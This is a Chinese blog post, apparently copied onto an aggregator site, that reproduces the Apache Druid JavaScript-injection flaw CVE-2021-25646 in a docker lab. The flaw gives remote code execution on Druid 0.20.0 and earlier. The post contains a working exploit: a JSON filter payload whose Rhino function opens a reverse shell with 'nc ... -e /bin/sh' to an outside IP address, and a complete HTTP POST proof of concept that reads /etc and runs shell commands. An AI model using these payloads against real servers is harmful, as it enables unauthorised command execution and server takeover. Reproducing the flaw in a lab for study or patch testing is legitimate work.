当前位置: 首页 > news >正文

Apache Druid命令执行(CVE-2021-25646)

漏洞详情:

Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。该漏洞源于攻击者可利用恶意JSON输入,通过function参数控制Rhino引擎执行的JavaScript代码,进而调用系统命令

影响范围:

Apache Druid <= 0.20.0

漏洞复现:

pull影响范围内的druid版本镜像

docker pull vulhub/apache-druid:0.20.0

运行容器

docker run --rm -i -p 8888:8888 vulhub/docker-druid:0.20.0

开浏览器访问8888端口 ,无需认证可访问Druid console页面:

上传代码块

 Base directory==》quickstart/tutorial 

File filter==》 wikiticker-2015-09-12-sampled.json.gz

在下面这步开始抓包

 

在这里插入⬇️⬇️⬇️ function代码块

, "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 121.43.48.229 9999 -e /bin/sh')}", "": {"enabled": true}}

上传执行指令

反连shell成功🏅

 

也有现成的poc
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}
}
验证结果 
http://www.lryc.cn/news/446238.html

相关文章:

  • 新的 MathWorks 硬件支持包支持从 MATLAB 和 Simulink 模型到高通 Hexagon 神经处理单元架构的自动化代码生成
  • gorm.io/sharding:改造,当查询条件中不包含分表键时,从自定义方法中获取对应的表进行查询
  • 【CSS】变量的声明与使用
  • 【数学分析笔记】第3章第4节闭区间上的连续函数(1)
  • Mybatis中sql数组为空判断
  • 12.第二阶段x86游戏实战2-CE找基地址
  • 笔记整理—内核!启动!—linux应用编程、网络编程部分(3)文件共享与标准IO
  • plt常用函数介绍一
  • 基于ExtendSim的 电子制造 仿真模型
  • BGP 路由反射器
  • CSRF高级防御绕过
  • MySQL安装文档-Windows
  • html TAB、table生成
  • 2024!再见前端!
  • 【源码+文档+调试讲解】人事管理系统设计与实现Python
  • 基于注意力机制的图表示学习:GRAPH-BERT模型
  • linux服务器安装原生的php环境
  • 数电学习基础(逻辑门电路+)
  • 【艾思科蓝】Spring Boot实战:零基础打造你的Web应用新纪元
  • C++ 二叉树
  • 初探IT世界:从基础到未来
  • 一区黏菌算法+双向深度学习+注意力机制!SMA-BiTCN-BiGRU-Attention黏菌算法优化双向时间卷积双向门控循环单元融合注意力机制多变量回归预测
  • 机器翻译之Bahdanau注意力机制在Seq2Seq中的应用
  • MyBatis 入门教程-搭建入门工程
  • CVE-2024-2389 未经身份验证的命令注入
  • C++初阶-list用法总结
  • 【智能大数据分析 | 实验一】MapReduce实验:单词计数
  • Git 版本控制--git restore和git reset
  • DBAPI如何实现插入数据前先判断数据是否存在,存在就更新,不存在就插入
  • 【渗透测试】-灵当CRM系统-sql注入漏洞复现